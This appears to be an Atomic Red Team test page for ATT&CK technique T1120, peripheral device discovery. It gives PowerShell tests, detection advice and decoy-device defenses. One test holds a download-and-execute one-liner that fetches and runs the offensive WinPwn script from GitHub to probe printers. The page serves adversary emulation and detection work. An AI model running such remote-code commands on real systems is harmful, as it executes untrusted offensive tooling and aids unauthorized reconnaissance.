T1120 - Peripheral Device Discovery

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

Atomic Tests

Atomic Test #1 - Win32_PnPEntity Hardware InventoryPerform peripheral device discovery using Get-WMIObject Win32_PnPEntitySupported Platforms: windows#### Attack Commands: Run with powershell

Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $env:TEMP\T1120_collection.txt
$Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt
@($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne "" } |Set-Content $env:TEMP\T1120_collection.txt```

Invoke-AtomicTest T1120 -TestNumbers 1

Cleanup:

Remove-Item $env:TEMP\T1120_collection.txt -ErrorAction Ignore```

Invoke-AtomicTest T1120 -TestNumbers 1 -Cleanup

Atomic Test #2 - WinPwn - printercheckSearch for printers / potential vulns using printercheck function of WinPwnSupported Platforms: windows#### Attack Commands: Run with powershell

$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
printercheck -noninteractive -consoleoutput```

Invoke-AtomicTest T1120 -TestNumbers 2

Detection

System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Shield Active Defense

Peripheral Management

Manage peripheral devices used on systems within the network for active defense purposes.

Peripheral Management is the administration of peripheral devices used on systems within the network for defensive or deceptive purposes. A defender can choose to allow or deny certain types of peripherals from being used on systems. Defenders can also introduce certain peripherals to an adversary-controlled system to see how the adversary reacts.

Opportunity

There is an opportunity to gauge an adversary’s interest in connected peripheral devices.

Use Case

A defender can connect one or more peripheral devices to a decoy system to see if an adversary has any interest in them.

Procedures

Introduce external devices (e.g. a USB drive) to a machine in an adversary engagement scenario to see how quickly an adversary gains awareness to its presence and if they attempt to leverage the device. Configure controls (such as AutoRun) which would require an adversary to take additional steps when leveraging a peripheral device to execute their tools.